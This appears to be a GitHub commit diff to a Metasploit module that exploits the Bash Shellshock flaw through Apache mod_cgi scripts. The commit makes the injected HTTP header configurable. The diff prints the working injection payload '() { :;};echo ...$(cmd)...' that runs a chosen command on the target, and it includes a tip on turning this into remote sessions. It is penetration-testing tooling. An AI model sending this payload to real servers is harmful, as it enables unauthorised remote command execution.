Skip to content

Commit 044eeb8

Browse files
committed
Add variable HTTP header
Also switch from OptEnum to OptString for flexibility.
1 parent f66c854 commit 044eeb8

File tree

1 file changed

+6
-4
lines changed

1 file changed

+6
-4
lines changed

modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb

+6-4
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,7 @@ def initialize(info = {})
1717
'Description' => %q{
1818
This module exploits a code injection in specially crafted environment
1919
variables in Bash, specifically targeting Apache mod_cgi scripts through
20-
the HTTP_USER_AGENT variable.
20+
the HTTP_USER_AGENT variable by default.
2121
2222
PROTIP: Use exploit/multi/handler with a PAYLOAD appropriate to your
2323
CMD, set ExitOnSession false, run -j, and then run this module to create
@@ -38,8 +38,8 @@ def initialize(info = {})
3838

3939
register_options([
4040
OptString.new('TARGETURI', [true, 'Path to CGI script']),
41-
OptEnum.new('METHOD', [true, 'HTTP method to use', 'GET',
42-
['GET', 'POST']]),
41+
OptString.new('METHOD', [true, 'HTTP method to use', 'GET']),
42+
OptString.new('HEADER', [true, 'HTTP header to use', 'User-Agent']),
4343
OptString.new('CMD', [true, 'Command to run (absolute paths required)',
4444
'/usr/bin/id'])
4545
], self.class)
@@ -83,7 +83,9 @@ def req(cmd)
8383
send_request_cgi(
8484
'method' => datastore['METHOD'],
8585
'uri' => normalize_uri(target_uri.path),
86-
'agent' => "() { :;};echo #{@marker}$(#{cmd})#{@marker}"
86+
'headers' => {
87+
datastore['HEADER'] => "() { :;};echo #{@marker}$(#{cmd})#{@marker}"
88+
}
8789
)
8890
end
8991

0 commit comments

Comments
 (0)